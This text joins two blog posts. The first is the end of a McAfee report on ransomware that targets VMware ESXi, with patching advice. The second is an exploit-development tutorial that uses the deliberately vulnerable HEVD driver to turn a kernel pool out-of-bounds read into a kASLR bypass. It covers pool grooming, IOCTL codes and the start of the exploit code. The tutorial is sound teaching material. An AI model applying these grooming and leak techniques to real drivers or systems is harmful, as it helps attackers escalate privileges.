From the configuration file of the DarkSide Linux variant, it becomes clear that this variant is solely designed to encrypt virtual machines hosted on an ESXi server. It searches for the disk-files of the VMs, the memory files of the VMs (vmem), swap, logs, etc. – all files that are needed to start a VMware virtual machine.

Demo of Darkside encrypting an ESXi server: https://youtu.be/SMWIckvLMoE

Babuk Ransomware

Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems:

Figure 3. Babuk ransomware claiming to have built a Linux-based ransomware binary capable of encrypting ESXi servers

The malware is written in the open-source programming language Golang, most likely because it allows developers to have a single codebase to be compiled into all major operating systems. This means that, thanks to static linking, code written in Golang on a Linux system can run on a Windows or Mac system. That presents a large advantage to ransomware gangs looking to encrypt a whole infrastructure comprised of different systems architecture.

After being dropped on the ESXi server, the malware encrypts all the files on the system:

The malware was designed to target ESXi environments as we guessed, and it was confirmed when the Babuk team returned the decryptor named d_esxi.out. Unfortunately, the decryptor has been developed with some errors, which cause corruption in victim’s files:

Overall, the decryptor is poor as it only checks for the extension “.babyk” which will miss any files the victim has renamed to recover them. Also, the decryptor checks if the file is more than 32 bytes in length as the last 32 bytes are the key that will be calculated later with other hardcoded values to get the final key. This is bad design as those 32 bytes could be trash, instead of the key, as the customer could make things, etc. It does not operate efficiently by checking the paths that are checked in the malware, instead it analyzes everything. Another error we noticed was that the decryptor tries to remove a ransom note name that is NOT the same that the malware creates in each folder. This does not make any sense unless, perhaps, the Babuk developers/operators are delivering a decryptor that works for a different version and/or sample.

The problems with the Babuk decryptor left victims in horrible situations with permanently damaged data. The probability of getting a faulty decryptor isn’t persuading victims to pay up and this might be one of the main reasons that Babuk  announced that it will stop encrypting data and only exfiltrate and extort from now on.

Initial-Access-Brokers Offering VMware vCenter Machines

It is not only ransomware groups that show an interest in virtual systems; several initial access brokers are also trading access to compromised vCenter/ESXi servers on underground cybercriminal forums. The date and time of the specific offering below overlaps with the disclosure of CVE-2021-21985, but McAfee ATR hasn’t determined if this specific CVE was used to gain access to ESXi servers.

Figure 4. Threat Actor selling access to thousands of vCenter/ESXi servers

Figure 5. Threat actor offering compromised VMware ESXi servers

Patching and Detection Advice

VMware urges users running VMware vCenter and VMware Cloud Foundation affected by CVE-2021-21985 and CVE-2021-21986 to apply its patch immediately. According to VMware, a malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. The disclosed vulnerabilities have a critical CVSS base score of 9.8.

However, we do understand that VMware infrastructure is often installed on business-critical systems, so any type of patching activity usually has a high degree of impact on IT operations. Hence, the gap between vulnerability disclosure and patching is typically high. With the operating systems on VMware being a closed system they lack the ability to natively install workload protection/detection solutions. Therefore, the defenses should be based on standard cyber hygiene/risk mitigation practices and should be applied in the following order where possible.

  1. Ensure an accurate inventory of vCenter assets and their corresponding software versions.
  2. Secure the management plane of the vCenter infrastructure by applying strict network access control policies to allow access only from special management networks.
  3. Disable all internet access to vCenter/VMware Infrastructure.
  4. Apply the released VMware patches.
  5. McAfee Network Security Platform (NSP) offers signature sets for detection of CVE-2021-21985 and CVE-2021-21986.

Conclusion

Virtualization and its underlying technologies are key in today’s infrastructures. With the release of recently discovered vulnerabilities and an understanding of their criticality, threat actors are shifting focus. Proof can be seen in underground forums where affiliates recruit pentesters with knowledge of specific virtual technologies to develop custom ransomware that is designed to cripple these technologies. Remote Desktop access is the number one access vector in many ransomware cases, followed by edge-devices lacking the latest security updates, making them vulnerable to exploitation. With the latest VMware CVEs mentioned in this blog, we urge you to take the right steps to secure not only internet exposed systems, but also internal systems, to minimize the risk of your organization losing its precious VMs, or gold, to cyber criminals.

 

Special thanks to Thibault Seret, Mo Cashman, Roy Arnab and Christiaan Beek for their contributions.

The post Are Virtual Machines the New Gold for Cyber Criminals? appeared first on McAfee Blog.

Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1

7 June 2021 at 00:00

Introduction

I am writing this blog as I am finishing up an amazing training from HackSys Team. This training finally demystified the pool on Windows for myself - something that I have always shied away from. During the training I picked up a lot of pointers (pun fully intended) on everything from an introduction to the kernel low fragmentation heap (kLFH) to pool grooming. As I use blogging as a mechanism for myself to not only share what I know, but to reinforce concepts by writing about them, I wanted to leverage the HackSys Extreme Vulnerable Driver and the win10-klfh branch (HEVD) to chain together two vulnerabilities in the driver from a low-integrity process - an out-of-bounds read and a pool overflow to achieve an arbitrary read/write primitive. This blog, part 1 of this series, will outline the out-of-bounds read and kASLR bypass from low integrity.

Low integrity processes and AppContainer protected processes, such as a browser sandbox, prevent Windows API calls such as EnumDeviceDrivers and NtQuerySystemInformation, which are commonly leveraged to retrieve the base address for ntoskrnl.exe and/or other drivers for kernel exploitation. This stipulation requires a generic kASLR bypass, as was common in the RS2 build of Windows via GDI objects, or some type of vulnerability. With generic kASLR bypasses now not only being very scarce and far-and-few between, information leaks, such as an out-of-bounds read, are the de-facto standard for bypassing kASLR from something like a browser sandbox.

This blog will touch on the basic internals of the pool on Windows, which is already heavily documented much better than any attempt I can make, the implications of the kFLH, from an exploit development perspective, and leveraging out-of-bounds read vulnerabilities.

Windows Pool Internals - tl;dr Version

This section will cover a bit about some pre-segment heap internals as well as how the segment heap works after 19H1. First, Windows exposes the API ExAllocatePoolWithTag, the main API used for pool allocations, which kernel mode drivers can allocate dynamic memory from, such as malloc from user mode. However, drivers targeting Windows 10 2004 or later, according to Microsoft, must use ExAllocatePool2 instead ofExAllocatePoolWithTag, which has apparently been deprecated. For the purposes of this blog we will just refer to the “main allocation function” as ExAllocatePoolWithTag. One word about the “new” APIs is that they will initialize allocate pool chunks to zero.

Continuing on, ExAllocatePoolWithTag’s prototype can be seen below.

The first parameter of this function is POOL_TYPE, which is of type enumeration, that specifies the type of memory to allocate. These values can be seen below.

Although there are many different types of allocations, notice how all of them, for the most part, are prefaced with NonPagedPool or PagedPool. This is because, on Windows, pool allocations come from these two pools (or they come from the session pool, which is beyond the scope of this post and is leveraged by win32k.sys). In user mode, developers have the default process heap to allocate chunks from or they can create their own private heaps as well. The Windows pool works a little different, as the system predefines two pools (for our purposes) of memory for servicing requests in the kernel. Recall also that allocations in the paged pool can be paged out of memory. Allocations in the non-paged pool will always be paged in memory. This basically means memory in the NonPagedPool/NonPagedPoolNx is always accessible. This caveat also means that the non-paged pool is a more “expensive” resource and should be used accordingly.

As far as pool chunks go, the terminology is pretty much on point with a heap chunk, which I talked about in a previous blog on browser exploitation. Each pool chunk is prepended with a 0x10 byte _POOL_HEADER structure on 64-bit system, which can be found using WinDbg.

This structure contains metadata about the in-scope chunk. One interesting thing to note is that when a _POOL_HEADER structure is freed and it isn’t a valid header, a system crash will occur.

The ProcessBilled member of this structure is a pointer to the _EPROCESS object which made the allocation, but only if PoolQuota was set in the PoolType parameter of ExAllocatePoolWithTag. Notice that at an offset of 0x8 in this structure there is a union member, as it is clean two members reside at offset 0x8.

As a test, let’s set a breakpoint on nt!ExAllocatePoolWithTag. Since the Windows kernel will constantly call this function, we don’t need to create a driver that calls this function, as the system will already do this.

After setting a breakpoint, we can execute the function and examine the return value, which is the pool chunk that is allocated.

Notice how the ProcessBilled member isn’t a valid pointer to an _EPROCESS object. This is because this is a vanilla call to nt!ExAllocatePoolWithTag, without any scheduling quota madness going on, meaning the ProcessBilled member isn’t set. Since the AllocatorBackTraceIndex and PoolTagHash are obviously stored in a union, based on the fact that both the ProcessBilled and AllocatorBackTraceIndex members are at the same offset in memory, the two members AllocatorBackTraceIndex and PoolTagHash are actually “carried over” into the ProcessBilled member. This won’t affect anything, since the ProcessBilled member isn’t accounted for due to the fact that PoolQuota wasn’t set in the PoolType parameter, and this is how WinDbg interprets the memory layout. If the PoolQuota was set, the EPROCESS pointer is actually XOR’d with a random “cookie”, meaning that if you wanted to reconstruct this header you would need to first leak the cookie. This information will be useful later on in the pool overflow vulnerability in part 2, which will not leverage PoolQuota.

Let’s now talk about the segment heap. The segment heap, which was already instrumented in user mode, was implemented into the Windows kernel with the 19H1 build of Windows 10. The “gist” of the segment heap is this: when a component in the kernel requests some dynamic memory, via on the the previously mentioned API calls, there are now a few options, namely four of them, that can service the request. The are:

  1. Low Fragmentation Heap (kLFH)
  2. Variable Size (VS)
  3. Segment Alloc
  4. Large Alloc

Each pool is now managed by a _SEGMENT_HEAP structure, as seen below, which provides references to various “segments” in use for the pool and contains metadata for the pool.

The vulnerabilities mentioned in this blog post will be revolving around the kLFH, so for the purposes of this post I highly recommend reading this paper to find out more about the internals of each allocator and to view Yarden Shafir’s upcoming BlackHat talk on pool internals in the age of the segment heap!

For the purposes of this exploit and as a general note, let’s talk about how the _POOL_HEADER structure is used.

We talked about the _POOL_HEADER structure earlier - but let’s dig a big deeper into that concept to see if/when it is even used when the segment heap is enabled.

Any size allocation that cannot fit into a Variable Size segment allocation will pretty much end up in the kLFH. What is interesting here is that the _POOL_HEADER structure is no longer used for chunks within the VS segment. Chunks allocated using the VS segment are actually preceded prefaces with a header structure called _HEAP_VS_CHUNK_HEADER, which was pointed out to me by my co-worker Yarden Shafir. This structure can be seen in WinDbg.

The interesting fact about the pool headers with the segment heap is that the kLFH, which will be the target for this post, actually still use _POOL_HEADER structures to preface pool chunks.

Chunks allocated by the kLFH and VS segments are are shown below.

Why does this matter? For the purposes of exploitation in part 2, there will be a pool overflow at some point during exploitation. Since we know that pool chunks are prefaced with a header, and because we know that an invalid header will cause a crash, we need to be mindful of this. Using our overflow, we will need to make sure that a valid header is present during exploitation. Since our exploit will be targeting the kLFH, which still uses the standard _POOL_HEADER structure with no encoding, this will prove to be rather trivial later. _HEAP_VS_CHUNK_HEADER, however, performs additional encoding on its members.

The “last piece of this puzzle” is to understand how we can force the system to allocate pool chunks via the kLFH segment. The kLFH services requests that range in size from 1 byte to 16,368 bytes. The kLFH segment is also managed by the _HEAP_LFH_CONTEXT structure, which can be dumped in WinDbg.

The kLFH has “buckets” for each allocation size. The tl;dr here is if you want to trigger the kLFH you need to make 16 consecutive requests to the same size bucket. There are 129 buckets, and each bucket has a “granularity”. Let’s look at a chart to see the determining factors in where an allocation resides in the kLFH, based on size, which was taken from the previously mentioned paper from Corentin and Paul.

This means that any allocation that is a 16 byte granularity (e.g. 1-16 bytes, 17-31 bytes, etc.) up until a 64 byte granularity are placed into buckets 1-64, starting with bucket 1 for allocations of 1-16 bytes, bucket 2 for 17-31 bytes, and so on, up until a 512 byte granularity. Anything larger is either serviced by the VS segment or other various components of the segment heap.

Let’s say we perform a pool spray of objects which are 0x40 bytes and we do this 100 times. We can expect that most of these allocations will get stored in the kLFH, due to the heuristics of 16 consecutive allocations and because the size matches one of the buckets provided by kLFH. This is very useful for exploitation, as it means there is a good chance we can groom the pool with relatively well. Grooming refers to the fact we can get a lot of pool chunks, which we control, lined up adjacently next to each other in order to make exploitation reliable. For example, if we can groom the pool with objects we control, one after the other, we can ensure that a pool overflow will overflow data which we control, leading to exploitation. We will touch a lot more on this in the future.

kLFH also uses these predetermined buckets to manage chunks. This also removes something known as coalescing, which is when the pool manager combines multiple free chunks into a bigger chunk for performance. Now, with the kLFH, because of the architecture, we know that if we free an object in the kLFH, we can expect that the free will remain until it is used again in an allocation for that specific sized chunk! For example, if we are working in bucket 1, which can hold anything from 1 byte to 1008 bytes, and we allocate two objects of the size 1008 bytes and then we free these objects, the pool manager will not combine these slots because that would result in a free chunk of 2016 bytes, which doesn’t fit into the bucket, which can only hold 1-1008 bytes. This means the kLFH will keep these slots free until the next allocation of this size comes in and uses it. This also will be useful later on.

However, what are the drawbacks to the kLFH? Since the kLFH uses predetermined sizes we need to be very luck to have a driver allocate objects which are of the same size as a vulnerable object which can be overflowed or manipulated. Let’s say we can perform a pool overflow into an adjacent chunk as such, in this expertly crafted Microsoft Paint diagram.

If this overflow is happening in a kLFH bucket on the NonPagedPoolNx, for instance, we know that an overflow from one chunk will overflow into another chunk of the EXACT same size. This is because of the kLFH buckets, which predetermine which sizes are allowed in a bucket, which then determines what sizes adjacent pool chunks are. So, in this situation (and as we will showcase in this blog) the chunk that is adjacent to the vulnerable chunk must be of the same size as the chunk and must be allocated on the same pool type, which in this case is the NonPagedPoolNx. This severely limits the scope of objects we can use for grooming, as we need to find objects, whether they are typedef objects from a driver itself or a native Windows object that can be allocated from user mode, that are the same size as the object we are overflowing. Not only that, but the object must also contain some sort of interesting member, like a function pointer, to make the overflow worthwhile. This means now we need to find objects that are capped at a certain size, allocated in the same pool, and contain something interesting.

The last thing to say before we get into the out-of-bounds read is that some of the elements of this exploit are slightly contrived to outline successful exploitation. I will say, however, I have seen drivers which allocate pool memory, let unauthenticated clients specify the size of the allocation, and then return the contents to user mode - so this isn’t to say that there are not poorly written drivers out there. I do just want to call out, however, this post is more about the underlying concepts of pool exploitation in the age of the segment heap versus some “new” or “novel” way to bypass some of the stipulations of the segment heap. Now, let’s get into exploitation.

From Out-Of-Bounds-Read to kASLR bypass - Low-Integrity Exploitation

Let’s take a look at the file in HEVD called MemoryDisclosureNonPagedPoolNx.c. We will start with the code and eventually move our way into dynamic analysis with WinDbg.

The above snippet of code is a function which is defined as TriggerMemoryDisclosureNonPagedPoolNx. This function has a return type of NTSTATUS. This code invokes ExAllocatePoolWithTag and creates a pool chunk on the NonPagedPoolNx kernel pool of size POOL_BUFFER_SIZE and with the pool tag POOL_TAG. Tracing the value of POOL_BUFFER_SIZE in MemoryDisclosureNonPagedPoolNx.h, which is included in the MemoryDisclosureNonPagedPoolNx.c file, we can see that the pool chunk allocated here is 0x70 bytes in size. POOL_TAG is also included in Common.h as kcaH, which is more humanly readable as Hack.

After the pool chunk is allocated in the NonPagedPoolNx it is filled with 0x41 characters, 0x70 of them to be precise, as seen in the call to RtlFillMemory. There is no vulnerability here yet, as nothing so far is influenced by a client invoking an IOCTL which would reach this routine. Let’s continue down the code to see what happens.

After initializing the buffer to a value of 0x70 0x41 characters, the first defined parameter in TriggerMemoryDisclosureNonPagedPoolNx, which is PVOID UserOutputBuffer, is part of a ProbeForWrite routine to ensure this buffer resides in user mode. Where does UserOutputBuffer come from (besides it’s obvious name)? Let’s view where the function TriggerMemoryDisclosureNonPagedPoolNx is actually invoked from, which is at the end of MemoryDisclosureNonPagedPoolNx.c.

We can see that the first argument passed to TriggerMemoryDisclosureNonPagedPoolNx, which is the function we have been analyzing thus far, is passed an argument called UserOutputBuffer. This variable comes from the I/O Request Packet (IRP) which was passed to the driver and created by a client invoking DeviceIoControl to interact with the driver. More specifically, this comes from the IO_STACK_LOCATION structure, which always accompanies an IRP. This structure contains many members and data used by the IRP to pass information to the driver. In this case, the associated IO_STACK_LOCATION structure contains most of the parameters used by the client in the call to DeviceIoControl. The IRP structure itself contains the UserBuffer parameter, which is actually the output buffer supplied by a client using DeviceIoControl. This means that this buffer will be bubbled back up to user mode, or any client for that matter, which sends an IOCTL code that reaches this routine. I know this seems like a mouthful right now, but I will give the “tl;dr” here in a second.

Essentially what happens here is a user-mode client can specify a size and a buffer, which will get used in the call to TriggerMemoryDisclosureNonPagedPoolNx. Let’s then take a quick look back at the image from two images ago, which has again been displayed below for brevity.

Skipping over the #ifdef SECURE directive, which is obviously what a “secure” driver should use, we can see that if the allocation of the pool chunk we previously mentioned, which is of size POOL_BUFFER_SIZE, or 0x70 bytes, is successful - the contents of the pool chunk are written to the UserOutputBuffer variable, which will be returned to the client invoking DeviceIoControl, and the amount of data copied to this buffer is actually decided by the client via the nOutBufferSize parameter.

What is the issue here? ExAllocatePoolWithTag will allocate a pool chunk based on the size provided here by the client. The issue is that the developer of this driver is not just copying the output to the UserOutputBuffer parameter but that the call to RtlCopyMemory allows the client to decide the amount of bytes written to the UserOutputBuffer parameter. This isn’t an issue of a buffer overflow on the UserOutputBuffer part, as we fully control this buffer via our call to DeviceIoControl, and can make it a large buffer to avoid it being overflowed. The issue is the second and third parameter.

The pool chunk allocated in this case is 0x70 bytes. If we look at the #ifdef SECURE directive, we can see that the KernelBuffer created by the call to ExAllocatePoolWithTag is copied to the UserOutputBuffer parameter and NOTHING MORE, as defined by the POOL_BUFFER_SIZE parameter. Since the allocation created is only POOL_BUFFER_SIZE, we should only allow the copy operation to copy this many bytes.

If a size greater than 0x70, or POOL_BUFFER_SIZE, is provided to the RtlCopyMemory function, then the adjacent pool chunk right after the KernelBuffer pool chunk would also be copied to the UserOutputBuffer. The below diagram outlines.

If the size of the copy operation is greater than the allocation size of0x70 bytes, the number of bytes after 0x70 are taken from the adjacent chunk and are also bubbled back up to user mode. In the case of supplying a value of 0x100 in the size parameter, which is controllable by the caller, the 0x70 bytes from the allocation would be copied back into user and the next 0x30 bytes from the adjacent chunk would also be copied back into user mode. Let’s verify this in WinDbg.

For brevity sake, the routine to reach this code is via the IOCTL 0x0022204f. Here is the code we are going to send to the driver.

We can start by setting a breakpoint on HEVD!TriggerMemoryDisclosureNonPagedPoolNx

Per the __fastcall calling convention the two arguments passed to TriggerMemoryDisclosureNonPagedPoolNx will be in RCX (the UserOutputBuffer) parameter and RDX (the size specified by us). Dumping the RCX register, we can see the 70 bytes that will hold the allocation.

We can then set a breakpoint on the call to nt!ExAllocatePoolWithTag.

After executing the call, we can then inspect the return value in RAX.

Interesting! We know the IOCTL code in this case allocated a pool chunk of 0x70 bytes, but every allocation in the pool our chunk resides in, which is denoted with the asterisk above, is actually 0x80 bytes. Remember - each chunk in the kLFH is prefaced with a _POOL_HEADER structure. We can validate this below by ensuring the offset to the PoolTag member of _POOL_HEADER is successful.

The total size of this pool chunk with the header is 0x80 bytes. Recall earlier when we spoke about the kLFH that this size allocation would fall within the kLFH! We know the next thing the code will do in this situation is to copy 0x41 values into the newly allocated chunk. Let’s set a breakpoint on HEVD!memset, which is actually just what the RtlFillMemory macro defaults to.

Inspecting the return value, we can see the buffer was initialized to 0x41 values.

The next action, as we can recall, is the copying of the data from the newly allocated chunk to user mode. Setting a breakpoint on the HEVD!memcpy call, which is the actual function the macro RtlCopyMemory will call, we can inspect RCX, RDX, and R8, which will be the destination, source, and size respectively.

Notice the value in RCX, which is a user-mode address (and the address of our output buffer supplied by DeviceIoControl), is different than the original value shown. This is simply because I had to re-run the POC trigger between the original screenshot and the current. Other than that, nothing else has changed.

After stepping through the memcpy call we can clearly see the contents of the pool chunk are returned to user mode.

Perfect! This is expected behavior by the driver. However, let’s try increasing the size of the output buffer and see what happens, per our hypothesis on this vulnerability. This time, let’s set the output buffer to 0x100.

This time, let’s just inspect the memcpy call.

Take note of the above highlighted content after the 0x41 values.

Let’s now check out the pool chunks in this pool and view the adjacent chunk to our Hack pool chunk.

Last time we performed the IOCTL invocation only values of 0x41 were bubbled back up to user mode. However, recall this time we specified a value of 0x100. This means this time we should also be returning the next 0x30 bytes after the Hack pool chunk back to user mode. Taking a look at the previous image, which shows that the direct next chunk after the Hack chunk is 0xffffe48f4254fb00, which contains a value of 6c54655302081b00 and so on, which is the _POOL_HEADER for the next chunk, as seen below.

These 0x10 bytes, plus the next 0x20 bytes should be returned to us in user mode, as we specified we want to go beyond the bounds of the pool chunk, hence an “out-of-bounds read”. Executing the POC, we can see this is the case!

Awesome! We can see, minus some of the endianness madness that is occurring, we have successfully read memory from the adjacent chunk! This is very useful, but remember what our goal is - we want to bypass kASLR. This means we need to leak some sort of pointer either from the driver or ntoskrnl.exe itself. How can we achieve this if all we can leak is the next adjacent pool chunk? To do this, we need to perform some additional steps to ensure that, while we are in the kLFH segment, that the adjacent chunk(s) always contain some sort of useful pointer that can be leaked by us. This process is called “pool grooming”

Taking The Dog To The Groomer

Up until this point we know we can read data from adjacent pool chunks, but as of now there isn’t really anything interesting next to these chunks. So, how do we combat this? Let’s talk about a few assumptions here:

  1. We know that if we can choose an object to read from, this object will need to be 0x70 bytes in size (0x80 when you include the _POOL_HEADER)
  2. This object needs to be allocated on the NonPagedPoolNx directly after the chunk allocated by HEVD in MemoryDisclosureNonPagedPoolNx
  3. This object needs to contain some sort of useful pointer

How can we go about doing this? Let’s sort of visualize what the kLFH does in order to service requests of 0x70 bytes (technically 0x80 with the header). Please note that the following diagram is for visual purposes only.

As we can see, there are several free slots within this specific page in the pool. If we allocated an object of size 0x80 (technically 0x70, where the _POOL_HEADER is dynamically created) we have no way to know, or no way to force the allocation to occur at a predictable location. That said, the kLFH may not even be enabled at all, due to the heuristic requirement of 16 consecutive allocations to the same size. Where does this leave us? Well, what we can do is to first make sure the kLFH is enabled and then also to “fill” all of the “holes”, or freed allocations currently, with a set of objects. This will force the memory manager to allocate a new page entirely to service new allocations. This process of the memory manager allocating a new page for future allocations within the the kLFH bucket is ideal, as it gives us a “clean slate” to start on without random free chunks that could be serviced at random intervals. We want to do this before we invoke the IOCTL which triggers the TriggerMemoryDisclosureNonPagedPoolNx function in MemoryDisclosureNonPagedPoolNx.c. This is because we want the allocation for the vulnerable pool chunk, which will be the same size as the objects we use for “spraying” the pool to fill the holes, to end up in the same page as the sprayed objects we have control over. This will allow us to groom the pool and make sure that we can read from a chunk that contains some useful information.

Let’s recall the previous image which shows where the vulnerable pool chunk ends up currently.

Organically, without any grooming/spraying, we can see that there are several other types of objects in this page. Notably we can see several Even tags. This tag is actually a tag used for an object created with a call to CreateEvent, a Windows API, which can actually be invoked from user mode. The prototype can be seen below.

This function returns a handle to the object, which is a technically a pool chunk in kernel mode. This is reminiscent of when we obtain a handle to the driver for the call to CreateFile. The handle is an intermediary object that we can interact with from user mode, which has a kernel mode component.

Let’s update the code to leverage CreateEventA to spray an arbitrary amount of objects, 5000.

After executing the newly updated code and after setting a breakpoint on the copy location, with the vulnerable pool chunk, take a look at the state of the page which contains the pool chunk.

This isn’t in an ideal state yet, but notice how we have influenced the page’s layout. We can see now that there are many free objects and a few event objects. This is reminiscent behavior of us getting a new page for our vulnerable chunk to go, as our vulnerable chunk is prefaces with several event objects, with our vulnerable chunk being allocated directly after. We can also perform additional analysis by inspecting the previous page (recall that for our purposes on this 64-bit Windows 10 install a page is 0x1000 bytes, of 4KB).

It seems as though all of the previous chunks that were free have been filled with event objects!

Notice, though, that the pool layout is not perfect. This is due to other components of the kernel also leveraging the kLFH bucket for 0x70 byte allocations (0x80 with the _POOL_HEADER).

Now that we know we can influence the behavior of the pool from spraying, the goal now is to now allocate the entire new page with event objects and then free every other object in the page we control in the new page. This will allow us to then, right after freeing every other object, to create another object of the same size as the event object(s) we just freed. By doing this, the kLFH, due to optimization, will fill the free slots with the new objects we allocate. This is because the current page is the only page that should have free slots available in the NonPagedPoolNx for allocations that are being serviced by the kLFH for size 0x70 (0x80 including the header).

We would like the pool layout to look like this (for the time being):

EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT 

So what kind of object would we like to place in the “holes” we want to poke? This object is the one we want to leak back to user mode, so it should contain either valuable kernel information or a function pointer. This is the hardest/most tedious part of pool corruption, is finding something that is not only the size needed, but also contains valuable information. This especially bodes true if you cannot use a generic Windows object and need to use a structure that is specific to a driver.

In any event, this next part is a bit “simplified”. It will take a bit of reverse engineering/debugging to calls that allocate pool chunks for objects to find a suitable candidate. The way to approach this, at least in my opinion, would be as follows:

  1. Identify calls to ExAllocatePoolWithTag, or similar APIs
  2. Narrow this list down by finding calls to the aforementioned API(s) that are allocated within the pool you are able to corrupt (e.g. if I have a vulnerability on the NonPagedPoolNx, find an allocation on the NonPagedPoolNx)
  3. Narrow this list further by finding calls that perform the before sentiments, but for the given size pool chunk you need
  4. If you have made it this far, narrow this down further by finding an object with all of the before attributes and with an interesting member, such as a function pointer

However, slightly easier because we can use the source code, let’s find a suitable object within HEVD. In HEVD there is an object which contains a function pointer, called USE_AFTER_FREE_NON_PAGED_POOL_NX. It is constructed as such, within UseAfterFreeNonPagedPoolNx.h

This structure is used in a function call within UseAfterFreeNonPagedPoolNx.c and the Buffer member is initialized with 0x41 characters.

The Callback member, which is of type FunctionCallback and is defined as such in Common.h: typedef void (*FunctionPointer)(void);, is set to the memory address of UaFObjectCallbackNonPagedPoolNx, which a function located in UseAfterFreeNonPagedPoolNx.c shown two images ago! This means a member of this structure will contain a function pointer within HEVD, a kernel mode address. We know by the name that this object will be allocated on the NonPagedPoolNx, but you could still validate this by performing static analysis on the call to ExAllocatePoolWithTag to see what value is specified for POOL_TYPE.

This seems like a perfect candidate! The goal will be to leak this structure back to user mode with the out-of-bounds read vulnerability! The only factor that remains is size - we need to make sure this object is also 0x70 bytes in size, so it lands within the same pool page we control.

Let’s test this in WinDbg. In order to reach the AllocateUaFObjectNonPagedPoolNx function we need to interact with the IOCTL handler for this particular routine, which is defined in NonPagedPoolNx.c.

The IOCTL code needed to reach this routine, for brevity, is 0x00222053. Let’s set a breakpoint on HEVD!AllocateUaFObjectNonPagedPoolNx in WinDbg, issue a DeviceIoControl call to this IOCTL without any buffers, and see what size is being used in the call to ExAllocatePoolWithTag to allocate this object.

Perfect! Slightly contrived, but nonetheless true, the object being created here is also 0x70 bytes (without the _POOL_HEADER structure) - meaning this object should be allocated adjacent to any free slots within the page our event objects live! Let’s update our POC to perform the following:

  1. Free every other event object
  2. Replace every other event object (5000/2 = 2500) with a USE_AFTER_FREE_NON_PAGED_POOL_NX object

Using the memcpy routine (RtlCopyMemory) from the original routine for the out-of-bounds read IOCTL invocation into the vulnerable pool chunk, we can inspect the target pool chunk used in the copy operation, which will be the chunk bubbled back up to user mode, which could showcase that our event objects are now adjacent to multiple USE_AFTER_FREE_NON_PAGED_POOL_NX objects.

We can see that the Hack tagged chunks, which are USE_AFTER_FREE_NON_PAGED_POOL_NX chunks, are pretty much adjacent with the event objects! Even if not every object is perfectly adjacent to the previous event object, this is not a worry to us because the vulnerability allows us to specify how much of the data from the adjacent chunks we would like to return to user mode anyways. This means we could specify an arbitrary amount, such as 0x1000, and that is how many bytes would be returned from the adjacent chunks.

Since there are many chunks which are adjacent, it will result in an information leak. The reason for this is because the kLFH has a bit of “funkiness” going on. This isn’t necessarily due to any sort of kLFH “randomization”, I found out after talking with my colleague Yarden Shafir, where the free chunks will be/where the allocations will occur, but due to the complexity of the subsegment locations, caching, etc. Things can get complex quite quickly. This is beyond the scope of this blog post.

The only time this becomes an issue, however, is when clients can read out-of-bounds but cannot specify how many bytes out-of-bounds they can read. This would result in exploits needing to run a few times in order to leak a valid kernel address, until the chunks become adjacent. However, someone who is better at pool grooming than myself could easily figure this out I am sure :).

Now that we can groom the pool decently enough, the next step is to replace the rest of the event objects with vulnerable objects from the out-of-bounds read vulnerability! The desired layout of the pool will be this:

VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX 

Why do we want this to be the desired layout? Each of the VULNERABLE_OBJECTS can read additional data from adjacent chunks. Since (theoretically) the next adjacent chunk should be USE_AFTER_FREE_NON_PAGED_POOL_NX, we should be returning this entire chunk to user mode. Since this structure contains a function pointer in HEVD, we can then bypass kASLR by leaking a pointer from HEVD! To do this, we will need to perform the following steps:

  1. Free the rest of the event objects
  2. Perform a number of calls to the IOCTL handler for allocating vulnerable chunks

For step two, we don’t want to perform 2500 DeviceIoControl calls, as there is potential for the one of the last memory address in the page to be set to one of our vulnerable objects. If we specify we want to read 0x1000 bytes, and if our vulnerable object is at the end of the last valid page for the pool, it will try reading from the address 0x1000 bytes away, which may reside in a page which is not currently committed to memory, causing a DOS by referencing invalid memory. To compensate for this, we only want to allocate 100 vulnerable objects, as one of them will almost surely be allocated in an adjacent block to a USE_AFTER_FREE_NON_PAGED_POOL_NX object.

To do this, let’s update the code as follows.

After freeing the event objects and reading back data from adjacent chunks, a for loop is instituted to parse the output for anything that is sign extended (a kernel-mode address). Since the output buffer will be returned in an unsigned long long array, the size of a 64-bit address, and since the address we want to leak from is the first member of the adjacent chunk, after the leaked _POOL_HEADER, it should be placed into a clean 64-bit variable, and therefore easily parsed. Once we have leaked the address of the pointer to the function, we then can calculate the distance from the function to the base of HEVD, add the distance, and then obtain the base of HEVD!

Executing the final exploit, leveraging the same breakpoint on final HEVD!memcpy call (remember, we are executing 100 calls to the final DeviceIoControl routine, which invokes the RtlCopyMemory routine, meaning we need to step through 99 times to hit the final copy back into user mode), we can see the layout of the pool.

The above image is a bit difficult to decipher, given that both the vulnerable chunks and the USE_AFTER_FREE_NON_PAGED_POOL_NX chunks both have Hack tags. However, if we take the adjacent chunk to the current chunk, which is a vulnerable chunk we can read past and denoted by an asterisk, and after parsing it as a USE_AFTER_FREE_NON_PAGED_POOL_NX object, we can see clearly that this object is of the correct type and contains a function pointer within HEVD!

We can then subtract the distance from this function pointer to the base of HEVD, and update our code accordingly. We can see the distance is 0x880cc, so adding this to the code is trivial.

After performing the calculation, we can see we have bypassed kASLR, from low integrity, without any calls to EnumDeviceDrivers or similar APIs!

The final code can be seen below.

// HackSysExtreme Vulnerable Driver: Pool Overflow/Memory Disclosure
// Author: Connor McGarr(@33y0re)

// Vulnerability description: Arbitrary read primitive
// User-mode clients have the ability to control the size of an allocated pool chunk on the NonPagedPoolNx
// This pool chunk is 0x80 bytes (including the header)
// There is an object, a UafObject created by HEVD, that is 0x80 bytes in size (including the header) and contains a function pointer that is to be read -- this must be used due to the kLFH, which is only groomable for sizes in the same bucket
// CreateEventA can be used to allocate 0x80 byte objects, including the size of the header, which can also be used for grooming

#include <windows.h>
#include <stdio.h>

// Fill the holes in the NonPagedPoolNx of 0x80 bytes
void memLeak(HANDLE driverHandle)
{
  // Array to manage handles opened by CreateEventA
  HANDLE eventObjects[5000];

